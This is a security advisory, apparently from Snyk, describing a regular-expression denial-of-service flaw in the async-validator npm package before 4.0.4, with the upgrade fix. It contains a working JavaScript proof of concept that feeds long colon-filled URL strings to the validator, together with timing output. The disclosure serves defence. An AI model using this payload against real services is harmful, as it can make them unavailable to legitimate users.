Regular Expression Denial of Service (ReDoS) Affecting async-validator Open this link in a new tab package, versions <4.0.4


0.0
medium
  • Attack Complexity

    Low

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  • snyk-id

    SNYK-JS-ASYNCVALIDATOR-2311201

  • published

    12 Jan 2022

  • disclosed

    7 Dec 2021

  • credit

    Unknown

How to fix?

Upgrade async-validator to version 4.0.4 or higher.

Overview

async-validator is a validator form asynchronous

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the type() function in the rule.ts and index.js files, which uses an unsafe regular expression to validate user-supplied URLs. A remote attacker can exploit this vulnerability by supplying a URL that leverages a large number of characters.

PoC:

// poc.js

const AsyncValidator = require('async-validator').default;

const validator = new AsyncValidator({
  v: {
    type: 'url',
  },
});

for (var i = 1; i <= 50000; i++) {
  var time = Date.now();
  var attack_str = '//' + ':'.repeat(i * 15000) + '@';
  validator.validate({
    v: attack_str,
  });
  var time_cost = Date.now() - time;
  console.log(
    'attack_str.length: ' + attack_str.length + ': ' + time_cost + ' ms',
  );
}

// Output:

attack_str.length: 15003: 264 ms
attack_str.length: 30003: 1049 ms
attack_str.length: 45003: 2424 ms
attack_str.length: 60003: 4377 ms
attack_str.length: 75003: 7036 ms
attack_str.length: 90003: 10071 ms

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package